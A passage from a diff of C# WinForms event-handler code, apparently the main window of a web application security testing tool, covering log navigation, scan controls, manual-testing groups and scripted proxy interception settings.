+ } + + private void ProxyOptionsBtn_Click(object sender, EventArgs e) + { + ProxyOptionsBtn.ContextMenuStrip.Show(ProxyOptionsBtn, new Point(0, LogOptionsBtn.Height)); + } + + //private void PauseAtTaintCB_CheckedChanged(object sender, EventArgs e) + //{ + // JSTaintShowCleanCB.Enabled = !PauseAtTaintCB.Checked; + // JSTaintShowSourceCB.Enabled = !PauseAtTaintCB.Checked; + // JSTaintShowSinkCB.Enabled = !PauseAtTaintCB.Checked; + // JSTaintShowSourceToSinkCB.Enabled = !PauseAtTaintCB.Checked; + //} + + private void ConfigPanelTabs_SelectedIndexChanged(object sender, EventArgs e) + { + if (ConfigPanelTabs.SelectedTab.Name == "ConfigTaintConfigTab") + { + if (ConfigDefaultJSTaintConfigGrid.Height != 290) + { + ConfigDefaultJSTaintConfigGrid.Height = 290; + } + } + } + + private void ConfigPassiveAnalysisSettingsApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Config.UpdatePassiveAnalysisSettingsFromUI(); + IronDB.StorePassiveAnalysisSettings(); + } + + private void ConfigPassiveAnalysisSettingsCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + IronUI.UpdatePassiveAnalysisSettingsInUIFromConfig(); + } + + private void ClearShellDisplayBtn_Click(object sender, EventArgs e) + { + InteractiveShellOut.Text = ""; + } + + private void PromptBlinkTimer_Tick(object sender, EventArgs e) + { + if (InteractiveShellPromptBox.ForeColor == Color.Lime) + InteractiveShellPromptBox.ForeColor = Color.Black; + else + InteractiveShellPromptBox.ForeColor = Color.Lime; + } + + private void EndOfShellPromptBlink() + { + Config.BlinkPrompt = false; + PromptBlinkTimer.Stop(); + InteractiveShellPromptBox.ForeColor = Color.Lime; + } + + private void main_tab_SelectedIndexChanged(object sender, EventArgs e) + { + if (main_tab.SelectedTab.Name.Equals("mt_scripting")) + { + if (Config.BlinkPrompt) PromptBlinkTimer.Start(); + } + else + { + if (Config.BlinkPrompt) PromptBlinkTimer.Stop(); + if (main_tab.SelectedTab.Name.Equals("mt_logs")) + { + if (!Docs.DocForLog.WasShown) + { + Docs.DocForLog.WasShown = true; + Docs.DocForLog DFL = new Docs.DocForLog(); + DFL.Show(); + } + } + } + } + + private void LogTabs_SelectedIndexChanged(object sender, EventArgs e) + { + IronUI.ShowCurrentLogStat(); + IronUI.ShowLogBottomStatus("", false); + } + + private void MainLogFrontOneBtn_Click(object sender, EventArgs e) + { + MoveLog(true, 1); + } + + private void MainLogFrontTwoBtn_Click(object sender, EventArgs e) + { + MoveLog(true, 2); + } + + private void MainLogFrontThreeBtn_Click(object sender, EventArgs e) + { + MoveLog(true, 3); + } + + private void MainLogFrontFourBtn_Click(object sender, EventArgs e) + { + MoveLog(true, 4); + } + + private void MainLogBackOneBtn_Click(object sender, EventArgs e) + { + MoveLog(false, 1); + } + + private void MainLogBackTwoBtn_Click(object sender, EventArgs e) + { + MoveLog(false, 2); + } + + private void MainLogBackThreeBtn_Click(object sender, EventArgs e) + { + MoveLog(false, 3); + } + + private void MainLogBackFourBtn_Click(object sender, EventArgs e) + { + MoveLog(false, 4); + } + + void MoveLog(bool Forward, int Level) + { + IronUI.ShowLogBottomStatus("Loading...", false); + switch (LogTabs.SelectedTab.Name) + { + case ("ProxyLogTab"): + if (Forward) + IronLog.MoveProxyLogRecordForward(Level); + else + IronLog.MoveProxyLogRecordBack(Level); + break; + case ("ScanLogTab"): + if (Forward) + IronLog.MoveScanLogRecordForward(Level); + else + IronLog.MoveScanLogRecordBack(Level); + break; + case ("TestLogTab"): + if (Forward) + IronLog.MoveTestLogRecordForward(Level); + else + IronLog.MoveTestLogRecordBack(Level); + break; + case ("ShellLogTab"): + if (Forward) + IronLog.MoveShellLogRecordForward(Level); + else + IronLog.MoveShellLogRecordBack(Level); + break; + case ("ProbeLogTab"): + if (Forward) + IronLog.MoveProbeLogRecordForward(Level); + else + IronLog.MoveProbeLogRecordBack(Level); + break; + case ("OtherLogTab"): + if (Forward) + IronLog.MoveOtherLogRecordForward(Level); + else + IronLog.MoveOtherLogRecordBack(Level); + break; + case ("SiteMapLogTab"): + IronUI.ShowLogBottomStatus("Cannot move SiteMap logs. Move Proxy/Probe logs and click on the SiteMap tree to display new logs", true); + break; + } + } + + private void ScanTraceFrontOneBtn_Click(object sender, EventArgs e) + { + IronTrace.MoveScanTraceRecordForward(1); + } + + private void ScanTraceFrontTwoBtn_Click(object sender, EventArgs e) + { + IronTrace.MoveScanTraceRecordForward(2); + } + + private void ScanTraceFrontThreeBtn_Click(object sender, EventArgs e) + { + IronTrace.MoveScanTraceRecordForward(3); + } + + private void ScanTraceFrontFourBtn_Click(object sender, EventArgs e) + { + IronTrace.MoveScanTraceRecordForward(4); + } + + private void ScanTraceBackOneBtn_Click(object sender, EventArgs e) + { + IronTrace.MoveScanTraceRecordBack(1); + } + + private void ScanTraceBackTwoBtn_Click(object sender, EventArgs e) + { + IronTrace.MoveScanTraceRecordBack(2); + } + + private void ScanTraceBackThreeBtn_Click(object sender, EventArgs e) + { + IronTrace.MoveScanTraceRecordBack(3); + } + + private void ScanTraceBackFourBtn_Click(object sender, EventArgs e) + { + IronTrace.MoveScanTraceRecordBack(4); + } + + private void ProxyShowOriginalRequestCB_CheckedChanged(object sender, EventArgs e) + { + if (ProxyShowOriginalRequestCB.Checked) + { + if (IronLog.CurrentSession.OriginalRequest != null) + IronUI.FillLogFields(IronLog.CurrentSession.OriginalRequest); + } + else + { + IronUI.FillLogFields(IronLog.CurrentSession.Request); + } + } + + private void ProxyShowOriginalResponseCB_CheckedChanged(object sender, EventArgs e) + { + if (ProxyShowOriginalResponseCB.Checked) + { + if (IronLog.CurrentSession.OriginalResponse != null) + IronUI.FillLogFields(IronLog.CurrentSession.OriginalResponse, null); + } + else + { + IronUI.FillLogFields(IronLog.CurrentSession.Response, null); + } + } + + private void UIDesignerToolStripMenuItem_Click(object sender, EventArgs e) + { + if (IronUI.IsUIDesignerOpen()) + { + IronUI.UD.Activate(); + } + else + { + IronUI.UD = new ModUiDesigner(); + IronUI.UD.Show(); + } + } + + private void CustomSendActivateCB_CheckedChanged(object sender, EventArgs e) + { + if (this.CustomSendActivateCB.Checked) + { + CustomSendErrorTB.Visible = false; + string Result = ""; + if (this.CustomSendPythonRB.Checked) + { + Result = ManualTesting.SetPyScriptedSend(this.CustomSendTE.Text); + } + else + { + Result = ManualTesting.SetRbScriptedSend(this.CustomSendTE.Text); + } + if (Result.Length > 0) + { + IronUI.ShowScriptedSendScriptException(Result); + } + } + + ManualTesting.ScriptedSendEnabled = this.CustomSendActivateCB.Checked; + this.MTScriptedSendBtn.Enabled = ManualTesting.ScriptedSendEnabled; + + if (this.CustomSendActivateCB.Checked) + { + ScriptedSendTP.BackColor = Color.DarkGreen; + } + else + { + ScriptedSendTP.BackColor = Color.White; + } + } + + private void SelectedModuleReloadToolStripMenuItem_Click(object sender, EventArgs e) + { + if (PluginAndModuleTree.SelectedNode == null) return; + TreeNode SelectedNode = PluginAndModuleTree.SelectedNode; + if (SelectedNode.Level == 3 && SelectedNode.Parent.Parent.Index == 1) + { + IronThread.Run(Module.ReloadModule, SelectedNode.Name); + } + } + + private void OtherLogSourceGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (OtherLogSourceGrid.SelectedRows == null) return; + if (OtherLogSourceGrid.SelectedRows.Count == 0) return; + IronLog.SelectedOtherSource = OtherLogSourceGrid.SelectedRows[0].Cells[0].Value.ToString(); + IronLog.CurrentSource = IronLog.SelectedOtherSource; + Thread T = new Thread(IronLog.ShowOtherSourceRecords); + T.Start(); + } + + private void OtherLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedOtherLog(); + } + + void ShowSelectedOtherLog() + { + if (OtherLogGrid.SelectedCells.Count < 1 || OtherLogGrid.SelectedCells[0].Value == null || OtherLogGrid.SelectedRows.Count == 0) + { + return; + } + IronLog.ShowLog(IronLog.SelectedOtherSource, OtherLogGrid.SelectedCells[0].Value.ToString(), OtherLogGrid.SelectedRows[0].Index, false); + return; + } + //private void ConfigureScanRequestFormatPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (Scanner.CurrentScanner == null) return; + // if (Scanner.CurrentScanner.OriginalRequest == null) return; + // string PluginName = ""; + // ASExceptionTB.Text = ""; + // foreach (DataGridViewRow Row in ConfigureScanRequestFormatPluginsGrid.Rows) + // { + // if (e.RowIndex == Row.Index) + // { + // Row.Cells[0].Value = true; + // PluginName = Row.Cells[1].Value.ToString(); + // } + // else + // { + // Row.Cells[0].Value = false; + // } + // } + + // ConfigureScanRequestFormatXMLTB.Text = ""; + + // //if (PluginName.Equals("None")) + // //{ + // // IronUI.UpdateScanBodyTabWithDataInDefaultFormat(); + // // ConfigureScanRequestFormatXMLTB.Text = ""; + // // Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); + // // return; + // //} + // if (!FormatPlugin.List().Contains(PluginName)) + // { + // IronUI.ShowConfigureScanException("Format Plugin not found"); + // return; + // } + // FormatPlugin Plugin = FormatPlugin.Get(PluginName); + // if (Scanner.CurrentScanner == null) + // { + // IronUI.ShowConfigureScanException("Invalid Request"); + // return; + // } + // if (Scanner.CurrentScanner.OriginalRequest == null) + // { + // IronUI.ShowConfigureScanException("Invalid Request"); + // return; + // } + // //Scanner.CurrentScanner.BodyFormat = Plugin; + // Scanner.StartDeSerializingRequestBody(Scanner.CurrentScanner.OriginalRequest, Plugin, new List(), false); + //} + + // private void ScanJobCustomizeBtn_Click(object sender, EventArgs e) + // { + // ScanCustomizationAssistant SCA = new ScanCustomizationAssistant(); + // SCA.Show(); + //} + + //private void ASBaseTab_Deselecting(object sender, TabControlCancelEventArgs e) + //{ + // if (e.TabPageIndex == 0) + // { + // try + // { + // IronUI.HandleAnyChangesInConfigureScanRequest(); + // } + // catch (Exception Exp) + // { + // IronUI.ShowConfigureScanException(Exp.Message); + // } + // } + //} + + //private void ASBodyInjectTypeTabs_Selecting(object sender, TabControlCancelEventArgs e) + //{ + // //If none of the options are selected then select normal + // if (!(ASBodyTypeNormalRB.Checked || ASBodyTypeFormatPluginRB.Checked || ASBodyTypeCustomRB.Checked)) + // ASBodyTypeNormalRB.Checked = true; + + // switch (e.TabPage.Name) + // { + // case ("ASBodyTypeNormalTab"): + // if (!ASBodyTypeNormalRB.Checked) + // { + // if (ASBodyTypeFormatPluginRB.Checked) + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeFormatPluginTab"); + // else if(ASBodyTypeCustomRB.Checked) + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeCustomTab"); + // } + // break; + // case ("ASBodyTypeFormatPluginTab"): + // if (!ASBodyTypeFormatPluginRB.Checked) + // { + // if (ASBodyTypeNormalRB.Checked) + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeNormalTab"); + // else if (ASBodyTypeCustomRB.Checked) + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeCustomTab"); + // } + // break; + // case ("ASBodyTypeCustomTab"): + // if (!ASBodyTypeCustomRB.Checked) + // { + // if (ASBodyTypeFormatPluginRB.Checked) + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeFormatPluginTab"); + // else if (ASBodyTypeNormalRB.Checked) + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeNormalTab"); + // } + // if (!ASRequestCustomInjectionMarkerTabs.SelectedTab.Name.Equals("ASRequestCustomMarkerSelectionTab")) + // ASRequestCustomInjectionMarkerTabs.SelectTab("ASRequestCustomMarkerSelectionTab"); + // break; + // } + //} + + //private void ASBodyTypeNormalRB_CheckedChanged(object sender, EventArgs e) + //{ + // if (ASBodyTypeNormalRB.Checked) + // { + // IronUI.UpdateScanBodyTabWithDataInDefaultFormat(); + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeNormalTab"); + // } + //} + + //private void ASBodyTypeFormatPluginRB_CheckedChanged(object sender, EventArgs e) + //{ + // if (ASBodyTypeFormatPluginRB.Checked) + // { + // ASRequestScanAllCB.Checked = false; + // ASRequestScanBodyCB.Checked = false; + // foreach (DataGridViewRow Row in ConfigureScanRequestFormatPluginsGrid.Rows) + // { + // Row.Cells[0].Value = false; + // } + // ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); + // ConfigureScanRequestFormatXMLTB.Text = ""; + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeFormatPluginTab"); + // } + //} + + //private void ASBodyTypeCustomRB_CheckedChanged(object sender, EventArgs e) + //{ + // if (ASBodyTypeCustomRB.Checked) + // { + // ASRequestScanAllCB.Checked = false; + // ASRequestScanBodyCB.Checked = false; + // ASBodyInjectTypeTabs.SelectTab("ASBodyTypeCustomTab"); + // if (Scanner.CurrentScanner != null && Scanner.CurrentScanner.OriginalRequest != null) + // { + // ASRequestCustomInjectionPointsHighlightTB.Text = Scanner.CurrentScanner.OriginalRequest.BodyString; + // } + // ASRequestCustomInjectionPointsHighlightLbl.Text = "Number of Injection Points Detected: 0"; + // ASRequestCustomInjectionMarkerTabs.SelectTab("ASRequestCustomMarkerSelectionTab"); + // } + //} + + //private void ASRequestScanBodyTypeNormalGrid_CellClick(object sender, DataGridViewCellEventArgs e) + //{ + // if (ASRequestScanBodyTypeNormalGrid.SelectedCells.Count < 1 || ASRequestScanBodyTypeNormalGrid.SelectedCells[0].Value == null) + // { + // return; + // } + // if ((bool)this.ASRequestScanBodyTypeNormalGrid.SelectedCells[0].Value) + // { + // this.ASRequestScanBodyTypeNormalGrid.SelectedCells[0].Value = false; + // this.ASRequestScanAllCB.Checked = false; + // this.ASRequestScanBodyCB.Checked = false; + // } + // else + // { + // this.ASRequestScanBodyTypeNormalGrid.SelectedCells[0].Value = true; + // } + //} + + //private void ASApplyCustomMarkersLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + //{ + // string StartMarker = ASCustomStartMarkerTB.Text.Trim(); + // string EndMarker = ASCustomEndMarkerTB.Text.Trim(); + // if (StartMarker.Length == 0 || EndMarker.Length == 0) + // { + // IronUI.ShowConfigureScanException("Start and End markers cannot be empty."); + // return; + // } + // if (StartMarker.Equals(EndMarker)) + // { + // IronUI.ShowConfigureScanException("Start and End markers cannot be the same."); + // return; + // } + // Scanner.CurrentScanner.CustomInjectionPointStartMarker = StartMarker; + // Scanner.CurrentScanner.CustomInjectionPointEndMarker = EndMarker; + // IronUI.DetectAndHighLightCustomInjectionPoints(); + //} + + //private void ASCustomStartMarkerTB_TextChanged(object sender, EventArgs e) + //{ + // ASRequestScanBodyCB.Checked = false; + // ASRequestCustomInjectionPointsHighlightTB.Text = Scanner.CurrentScanner.OriginalRequest.BodyString; + // ASRequestCustomInjectionPointsHighlightLbl.Text = "Number of Injection Points Detected: 0"; + //} + + //private void ASCustomEndMarkerTB_TextChanged(object sender, EventArgs e) + //{ + // ASRequestScanBodyCB.Checked = false; + // ASRequestCustomInjectionPointsHighlightTB.Text = Scanner.CurrentScanner.OriginalRequest.BodyString; + // ASRequestCustomInjectionPointsHighlightLbl.Text = "Number of Injection Points Detected: 0"; + //} + + private void ASClearScanBtn_Click(object sender, EventArgs e) + { + Scanner.ResetChangedStatus(); + IronUI.ResetConfigureScanFields(); + Scanner.CurrentScanner = null; + ScanDisplayPanel.Visible = false; + ScanTopPanel.Visible = true; + ScanJobsBaseSplit.SplitterDistance = 62; + } + + private void ASStopAllScansLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + StopAllScansAction(); + } + + private void ASStartAllStoppedAndAbortedScansLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + StartAllStoppedAndAbortedScansAction(); + } + + private void CreateNewTestRequestBtn_Click(object sender, EventArgs e) + { + CreateNewRequestWizard CNRW = new CreateNewRequestWizard(); + CNRW.Show(); + } + + void CreateImageList() + { + ImageList IL = new ImageList(); + IL.ImageSize = new System.Drawing.Size(10, 10); + Bitmap BM = new Bitmap(10, 10); + Graphics G = Graphics.FromImage(BM); + SolidBrush B = new SolidBrush(Color.LightSkyBlue); + G.FillRectangle(B, 0, 0, 10, 10); + IL.Images.Add("Square", BM); + + TestGroupsLV.SmallImageList = IL; + TestGroupsLV.LargeImageList = IL; + } + + private void TestGroupsLV_SelectedIndexChanged(object sender, EventArgs e) + { + if (TestGroupsLV.SelectedItems.Count > 0) + { + if (!MTBaseSplit.Visible) MTBaseSplit.Visible = true; + string Group = TestGroupsLV.SelectedItems[0].Name; + if (!Group.Equals(ManualTesting.CurrentGroup)) + ManualTesting.ShowGroup(Group); + } + } + + private void MTDeleteGroupLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + try + { + TestGroupsLV.Items.RemoveByKey(ManualTesting.CurrentGroup); + IronUI.ResetMTDisplayFields(); + TestIDLbl.Text = "ID: 0"; + MTCurrentGroupNameTB.Text = ""; + TestGroupLogGrid.Rows.Clear(); + ManualTesting.ClearGroup(); + //MTReqResTabs.SelectTab("MTRequestTab"); + MTBaseSplit.Visible = false; + if (TestGroupsLV.Items.Count == 0) + { + TestGroupsTitleTB.Visible = false; + TestGroupsLV.Visible = false; + } + } + catch { } + } + + private void MTRenameGroupLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + + string NewName = MTCurrentGroupNameTB.Text.Trim(); + if (NewName.Length == 0) + { + MTCurrentGroupNameTB.Text = ManualTesting.CurrentGroup; + IronUI.ShowMTException("A group with name already exists"); + return; + } + if (ManualTesting.GroupSessions.ContainsKey(NewName)) + { + MTCurrentGroupNameTB.Text = ManualTesting.CurrentGroup; + IronUI.ShowMTException("A group with name already exists"); + return; + } + Dictionary SessionsList = ManualTesting.GroupSessions[ManualTesting.CurrentGroup]; + int CurrentId = ManualTesting.CurrentGroupLogId[ManualTesting.CurrentGroup]; + ManualTesting.GroupSessions.Remove(ManualTesting.CurrentGroup); + ManualTesting.CurrentGroupLogId.Remove(ManualTesting.CurrentGroup); + string OldName = ManualTesting.CurrentGroup; + TestGroupsLV.Items[OldName].Name = NewName; + TestGroupsLV.Items[NewName].Text = NewName; + ManualTesting.CurrentGroup = NewName; + ManualTesting.GroupSessions[ManualTesting.CurrentGroup] = SessionsList; + ManualTesting.CurrentGroupLogId[ManualTesting.CurrentGroup] = CurrentId; + IronDB.RenameGroup(OldName, NewName); + IronUI.ShowMTException(""); + } + + private void SelectForManualTestingToolStripMenuItem_Click(object sender, EventArgs e) + { + IronLog.MarkForTesting(GetSource(), GetID(), ""); + } + + private void MTFollowRedirectBtn_Click(object sender, EventArgs e) + { + ManualTesting.FollowRedirect(); + } + + private void MTGetRedirectBtn_Click(object sender, EventArgs e) + { + ManualTesting.GetRedirect(); + } + + private void ProxyRequestView_RequestChanged() + { + IronProxy.RequestChanged = true; + } + + private void ProxyResponseView_ResponseChanged() + { + IronProxy.ResponseChanged = true; + } + + private void StartLogAnalyzerBtn_Click(object sender, EventArgs e) + { + LogAnalyzerAndTester LoAn = new LogAnalyzerAndTester(); + LoAn.Show(); + } + + private void LoadSelectedTraceBtn_Click(object sender, EventArgs e) + { + //IronTrace Trace = IronDB.GetScanTrace(IronUI.MainViewSelectedScanTraceId); + LogTraceViewer TraceViewer = new LogTraceViewer(IronUI.MainViewSelectedScanTraceId); + //TraceViewer.ScanTraceMsgRTB.Rtf = ScanTraceMsgRTB.Rtf; + //foreach (DataGridViewRow Row in ScanTraceOverviewGrid.Rows) + //{ + // object[] RowValues = new object[Row.Cells.Count + 1]; + // RowValues[0] = false; + // foreach (DataGridViewCell Cell in Row.Cells) + // { + // RowValues[Cell.ColumnIndex + 1] = Cell.Value; + // } + // TraceViewer.ScanTraceOverviewGrid.Rows.Add(RowValues); + //} + TraceViewer.Show(); + } + + private void ASBodyInjectTypeTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (ASBodyInjectTypeTabs.SelectedIndex != Scanner.CurrentScannerBodyFormatTabIndex) + ASBodyInjectTypeTabs.SelectTab(Scanner.CurrentScannerBodyFormatTabIndex); + } + + private void TestGroupHistoryDoDiffBtn_Click(object sender, EventArgs e) + { + int ALogId = -1; + int BLogId = -1; + int SelectedRowsCount = 0; + foreach (DataGridViewRow Row in TestGroupLogGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + SelectedRowsCount++; + if (ALogId == -1) + { + try + { + ALogId = Int32.Parse(Row.Cells[1].Value.ToString()); + } + catch { } + } + else if (BLogId == -1) + { + try + { + BLogId = Int32.Parse(Row.Cells[1].Value.ToString()); + } + catch { } + } + } + } + + if (SelectedRowsCount == 2) + { + SessionsDiffer Sdiff = new SessionsDiffer(); + Sdiff.SetSessions("Test", ALogId, BLogId); + Sdiff.Show(); + } + else + { + MessageBox.Show(string.Format("Diff can be done only when two sessions are selected. You have selected {0} sessions", SelectedRowsCount), "Selection Error"); + } + } + + private void SessionPluginTraceLoadLogBtn_Click(object sender, EventArgs e) + { + IronTrace.LoadSessionPluginTraceLog(); + if (!SessionPluginTraceBottomTabs.SelectedTab.Name.Equals("SessionPluginTraceLogViewTab")) + { + SessionPluginTraceBottomTabs.SelectTab("SessionPluginTraceLogViewTab"); + } + } + + private void sessionPluginCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) + { + SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); + SPCA.Show(); + } + + private void SessionPluginTraceGrid_SelectionChanged(object sender, EventArgs e) + { + if (SessionPluginTraceGrid.SelectedCells == null || SessionPluginTraceGrid.SelectedCells.Count == 0) return; + try + { + IronTrace.SelectedSessionPluginTraceLogId = Int32.Parse(SessionPluginTraceGrid.SelectedRows[0].Cells["SessionPluginTraceLogIdClmn"].Value.ToString()); + IronTrace.SelectedSessionPluginTraceSource = SessionPluginTraceGrid.SelectedRows[0].Cells["SessionPluginTraceLogSourceClmn"].Value.ToString(); + SessionPluginTraceLoadLogBtn.Enabled = (IronTrace.SelectedSessionPluginTraceLogId > 0); + SessionPluginTraceMsgRTB.Text = SessionPluginTraceGrid.SelectedRows[0].Cells["SessionPluginTraceMessageClmn"].Value.ToString(); + IronUI.ShowSessionPluginTraceLog(null, null); + if (!SessionPluginTraceBottomTabs.SelectedTab.Name.Equals("SessionPluginTraceMessageTab")) + { + SessionPluginTraceBottomTabs.SelectTab("SessionPluginTraceMessageTab"); + } + } + catch { } + } + + private void activePluginCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) + { + ActivePluginCreationAssistant APCA = new ActivePluginCreationAssistant(); + APCA.Show(); + } + + private void MTMaximizeRequestViewBtn_Click(object sender, EventArgs e) + { + if (MTMaximizeRequestViewBtn.Text.Equals("\\/")) + { + MTBaseSplit.SplitterDistance = MTBaseSplit.Height - 10; + MTMaximizeRequestViewBtn.Text = "--"; + } + else + { + MTBaseSplit.SplitterDistance = MTBaseSplit.Height/2; + MTMaximizeRequestViewBtn.Text = "\\/"; + } + } + + private void MTMaximizeResponseViewBtn_Click(object sender, EventArgs e) + { + if (MTMaximizeResponseViewBtn.Text.Equals("/\\")) + { + MTBaseSplit.SplitterDistance = 10; + MTMaximizeResponseViewBtn.Text = "--"; + } + else + { + MTBaseSplit.SplitterDistance = MTBaseSplit.Height / 2; + MTMaximizeResponseViewBtn.Text = "/\\"; + } + } + + private void passivePluginCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) + { + PassivePluginCreationAssistant PPCA = new PassivePluginCreationAssistant(); + PPCA.Show(); + } + + private void scriptCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) + { + ScriptCreationAssistant SCA = new ScriptCreationAssistant(); + SCA.Show(); + } + + private void ShowScriptCreationAssistantBtn_Click(object sender, EventArgs e) + { + ScriptCreationAssistant SCA = new ScriptCreationAssistant(); + SCA.Show(); + } + + private void ScriptedInterceptionRunScriptCreationAssistantBtn_Click(object sender, EventArgs e) + { + ScriptCreationAssistant SCA = new ScriptCreationAssistant(); + SCA.Show(); + } + + private void ScriptedInterceptionRubyRB_CheckedChanged(object sender, EventArgs e) + { + if (ScriptedInterceptionRubyRB.Checked) + { + this.ShowScriptedInterceptionTemplateLL.Text = "Show sample Ruby script"; + + ScriptedInterceptionCTB.LangCode = 2; + + this.ScriptedInterceptionScriptTopRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 should_intercept \b0 \cf0 (sess)"; + this.ScriptedInterceptionScriptBottomRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;\red0\green0\blue255;} \cf1 return \cf0 false \par \cf2 end \cf0"; + this.ScriptedInterceptionActivateScriptCB.Checked = false; + + Directory.SetCurrentDirectory(Config.RootDir); + } + } + + private void ScriptedInterceptionPythonRB_CheckedChanged(object sender, EventArgs e) + { + if (ScriptedInterceptionPythonRB.Checked) + { + this.ShowScriptedInterceptionTemplateLL.Text = "Show sample Python script"; + + ScriptedInterceptionCTB.LangCode = 2; + + this.ScriptedInterceptionScriptTopRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 ShouldIntercept \b0 \cf0 (sess):"; + this.ScriptedInterceptionScriptBottomRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;} \cf1 return \cf0 False"; + this.ScriptedInterceptionActivateScriptCB.Checked = false; + + Directory.SetCurrentDirectory(Config.RootDir); + } + } + + private void ScriptedInterceptionActivateScriptCB_CheckedChanged(object sender, EventArgs e) + { + if (this.ScriptedInterceptionActivateScriptCB.Checked) + { + ScriptedInterceptionErrorTB.Visible = false; + string Result = ""; + if (this.ScriptedInterceptionPythonRB.Checked) + { + Result = IronProxy.SetPyScriptedInterception(this.ScriptedInterceptionCTB.Text); + } + else + { + Result = IronProxy.SetRbScriptedInterception(this.ScriptedInterceptionCTB.Text); + } + if (Result.Length > 0) + { + IronUI.ShowScriptedInterceptionScriptException(Result); + } + } + + IronProxy.ScriptedInterceptionEnabled = this.ScriptedInterceptionActivateScriptCB.Checked; + + if (IronProxy.ScriptedInterceptionEnabled) + { + this.InterceptRequestCB.Enabled = false; + this.InterceptResponseCB.Enabled = false; + } + else + { + this.InterceptRequestCB.Enabled = true; + this.InterceptResponseCB.Enabled = true; + } + + if (this.ScriptedInterceptionActivateScriptCB.Checked) + { + ScriptedInterceptionBaseSplit.Panel1.BackColor = Color.DarkGreen; + } + else + { + ScriptedInterceptionBaseSplit.Panel1.BackColor = Color.White; + } + } + + private void ScriptedInterceptionCTB_ValueChanged() + { + if (this.ScriptedInterceptionActivateScriptCB.Checked) + { + this.ScriptedInterceptionActivateScriptCB.Checked = false; + } + IronUI.ResetScriptedInterceptionScriptExceptionFields(); + + if (IronProxy.ScriptedInterceptionEnabled) + { + IronProxy.ScriptedInterceptionEnabled = false; + } + } + + private void ShowScriptedInterceptionTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ShowSampleScriptedInterceptionScript(); + } + + void ShowSampleScriptedInterceptionScript() + { + try + { + if (ScriptedInterceptionPythonRB.Checked) + { + ScriptedInterceptionCTB.Text = ScriptedInterceptor.GetSamplePythonScript(); + } + else + { + ScriptedInterceptionCTB.Text = ScriptedInterceptor.GetSampleRubyScript(); + } + } + catch(Exception Exp) + { + IronException.Report("Unable to show the sample script", Exp); + } + } + + private void ShowScriptedSendTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ShowSampleScriptedSendScript(); + } + + void ShowSampleScriptedSendScript() + { + try + { + if (CustomSendPythonRB.Checked) + { + CustomSendTE.Text = ScriptedSender.GetSamplePythonScript(); + } + else + { + CustomSendTE.Text = ScriptedSender.GetSampleRubyScript(); + } + } + catch(Exception Exp) + { + IronException.Report("Unable to show the sample script", Exp); + } + } + + private void TestAdvancedOptionsHelpLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + main_tab.SelectTab("mt_scripting"); + ScriptingShellTabs.SelectTab("ScriptedSendTP"); + } + + private void ProxyInterceptTabs_Deselecting(object sender, TabControlCancelEventArgs e) + { + if (ScriptedInterceptionBaseSplit.SplitterDistance != 130) + { + try + { + ScriptedInterceptionBaseSplit.SplitterDistance = 130; + } + catch { } + try + { + ScriptedInterceptionBottomSplit.SplitterDistance = ScriptedInterceptionBottomSplit.Height - 118; + } + catch { } + } + } + + private void ProxyInterceptTabs_SelectedIndexChanged(object sender, EventArgs e) + { + if (ProxyInterceptTabs.SelectedIndex == 2 && !ScriptedInterceptionBaseSplit.Visible) + { + ScriptedInterceptionBaseSplit.Visible = true; + } + } + + private void moduleCreationAssistantToolStripMenuItem_Click(object sender, EventArgs e) + { + ModuleCreationAssistant MCA = new ModuleCreationAssistant(); + MCA.Show(); + } + + private void LaunchPayloadEffectAnalyzerBtn_Click(object sender, EventArgs e) + { + ScanTraceBehaviourAnalysis STBA = new ScanTraceBehaviourAnalysis(); + STBA.Show(); + } + + private void TestUpdateCookieStoreLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ManualTesting.UpdateCookieStoreFromResponse(); + TestUpdateFromCookieStoreLL.Visible = true; + TestUpdateCookieStoreLL.Visible = false; + } + + private void TestUpdateFromCookieStoreLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ManualTesting.UpdateRequestFromCookieStore(); + } + + private void ViewProxyInterceptionConfigLink_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ConfigPanel.Height = 350; + ConfigPanel.Visible = true; + ConfigViewHideLL.Text = "Hide Config"; + ConfigPanelTabs.SelectTab("ConfigInterceptRulesTab"); + } + + private void ViewProxyDisplayFilterLink_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ConfigPanel.Height = 350; + ConfigPanel.Visible = true; + 